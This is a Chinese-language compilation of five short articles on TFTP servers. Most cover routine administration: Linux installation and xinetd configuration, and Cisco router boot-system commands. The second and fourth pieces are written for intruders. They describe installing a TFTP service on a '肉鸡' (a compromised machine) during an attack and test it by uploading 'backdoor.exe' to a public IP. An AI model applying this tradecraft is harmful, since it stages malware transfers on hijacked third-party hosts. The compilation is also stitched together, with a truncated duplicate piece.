LINUX学习――TFTP服务器(精选5篇)

LINUX学习――TFTP服务器

       a)        作用:主要提供对目标机的主要映像文件的下载工作,文件传输协议

       b)        宿主机:是执行编译、链接嵌入式软件的计算机

       c)        目标机:是运行嵌入式软件的硬件平台,

       d)        安装:

       1.        检查是否安装:

       a)        Setup 中的系统服务中是否有tftp

       b)        netstat -a | grep tftp 查看是否已运行

       2.        查看服务器是否运行:service xinetd status

       3.        安装:rpm -ivh tftp-server-0.42-3.1.i386.rpm

       4.        在根目录下建立tftp的主工作目录:mkdir /tftpboot

       e)        修改配置文件:vi /etc/xinetd.d/tftp

       1.        下载文件的位置:server_args = -s /tftpboot

       2.        禁止否:disable = no

       f)         启动:#/etc/init.d/xinetd start

       g)        重启系统: 完成安装

       摘自 小鱼的专栏

篇2:创建一个TFTP服务器

       我们在攻击的过程中经常要使用到tftp服务器,如果你不方便在你的机器上安装tftp服务器,那么可以在肉鸡上安装,这是比较好的方法,

       我们先来学习一下什么叫作TFTP.

       TFTP:(Trivial File Transfer Protocol). 小文件传输协议.

       TFTP:是网络应用程序,它比FTP简单也比FTP功能少 ...

       就记住这么点基础吧,学知识取精华是最重要的,如果你一定要学的很深的话,自己去看TCP/IP吧。

       我们首先找到系统中的tftpd.exe文件,一般我们可以在%systemroot%\system32\dllcache目录下找到该文件,建议把该文件copy到其他目录。

       C:\>copy %systemroot%\system32\dllcache\tftpd.exe

       %systemroot%\system32

       已复制 1 个文件。

       我们会用Windows 下的Resource

       Kits中的一个工具instsrv创建一个服务,instsrv的用法如下,当然,你也可以用其他的工具来实现(如srvinstw,GUI方式的)。

       添加一个服务,注意,该服务创建侯为自动启动。

       C:\>instsrv tftp c:\winnt\system32\tftpd.exe

       The service was successfuly added!

       Make sure that you go into the Control Panel and use

       the Services applet to change the Account Name and

       Password that this newly installed service will use

       for its Security Context.

       启动服务

       C:\>net start tftp

       tftp 服务正在启动 .

       tftp 服务已经启动成功,

       测试服务是否正常工作

       C:\>tftp -i 61.135.21.195 PUT backdoor.exe backdoor.exe

       Transfer successful: 4209 bytes in 1 second, 4209

       bytes/s

       C:\>dir tftpdroot

       驱动器 C 中的卷是 C

       卷的序列号是 1E23-1907

       C:\tftpdroot 的目录

       -09-22 01:14

.

       2023-09-22 01:14

..

       2023-09-22 01:14 4,209 backdoor.exe

       1 个文件 4,209 字节

       2 个目录 94,113,792 可用字节

       注意,如果你上传文件,系统会在%systemdrive%自动创建一个名为tftproot的目录,OK,所有的工作已经完成了!

篇3:Linux下的TFTP服务器配置

       TFTP服务器作为工作于宿主机上的软件,主要提供对目标机的主要映像文件下载的工作,

       1. 安装tftp服务器

       需安 inetd(依赖)、tftp(tftp命令)和tftp-server (tftp服务)3个软件

       可直接安装提供的rpm包:(在系统光盘的挂载目录下寻找文件并安装)

       rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm

       rpm -ivh tftp-0.48-3.fc9.i386.rpm

       rpm -ivh tftp-server-0.48-3.fc9.i386.rpm

       2. 配置tftp服务器dnzg电脑中国

       修改/etc/xinetd.d/tftp文件,将其中的disable=yes改为disable=no。

       主要是设置TFTP服务器的根目录,开启服务。修改后的文件如下:

       service tftp

       {

       socket_type      =dgram

       protocol         =udp

       wait            =yes

       user            =root

       server          =/usr/sbin/in.tftpd

       server_args      =-s /home/mike/tftpboot -c

       disable          =no

       per_source      =1

       cps            =100 2

       flags           =IPv4

       }

       说明:修改项server_args= -s

       -c,其中

       处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定如果

       不存在则创建目

       3. 启动tftp服务器并关闭防火墙

       /etc/init.d/xinetd start 看到启动[OK]就可以了

       4. 查看tftp服务是否开启

       netstat -a | grep tftp

       显示结果为 udp 0 0 *:tftp *:* 表明服务已经开启,就表明tftp配置成功了,

       5. tftp使用dnzg.cn

       复制一文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。

       tftp 127.0.0.1 进入tftp服务器指令模式

       tftp>get 从服务器目录获得一个文件

       tftp>put 上传一文件到服务器目录

       tftp>q 退出服务器指令模式

篇4:如何在“肉鸡”创建一个TFTP服务器

       我们在攻击的过程中经常要使用到tftp服务器,如果你不方便在你的机器上安装tftp服务器,那么可以在肉鸡上安装,这是比较好的方法,

       

       如何在“肉鸡”创建一个TFTP服务器

       ,

       我们先来学习一下什么叫作TFTP. TFTP:(Trivial File Transfer Protocol). 小文件传输协议. TFTP:是网络应用程序,它比FTP

篇5:TFTP服务器路由设置的三个简单步骤

       我们知道通常的TFTP服务器的一些配置,可以在路由器上实现,那么接下来的内容就是TFTP服务器路由设置的一些步骤和命令。希望本文的总结,能够为大家提供一些参考。

       TFTP服务器路由设置1、从闪存(Flash)中装载:

       在配置过程中,我们一般都是将flash配置成装载Cisco路由器IOS映象的第一个位置,从flash装载不会受到网络问题的影响,即使因网络故障,不能正常连接到TFTP服务器,路由器也能正常装载IOS映象。

       it168#configure terminal

       it168(config)#boot system flash my-router[ctrl-z]

       it168#copy running-config startup-config

       在使用boot system命令时,我们需要在全局配置模式下输入boot system命令和需要定位Cisco路由器IOS的位置和映象文件名。

       TFTP服务器路由设置2、从TFTP服务器中装载

       在用boot system中定义了从TFTP服务器中装载IOS后,当从flash中装载IOS映象失败后,就可以从TFTP服务器装载IOS映象,

       it168#configure terminal

       it168(config)#boot system tftp IOS-BAK 129.0.0.2[ctrl-z]

       it168#copy running-config startup-config

       TFTP服务器路由设置3、从ROM中装载

       如果flash和TFTP都出现故障,不能正常装载Cisco路由器IOS映象的时候,我们就只能从ROM中装载,从ROM中装载的IOS映象只能执行IOS的部分命令和功能。

       it168#configure terminal

       it168(config)#boot system rom[ctrl-z]

       it168#copy running-config startup-config

       提示:在使用boot system命令时一定要注意输入命令时的顺序,一般都是按照从flash、TFTP、ROM这样的顺序来装载的,另外在改变所有的配置后都要将配置拷贝到NVRAM中,否则当你重新启动路由器时,Cisco路由器IOS这些配置将不会被存储生效。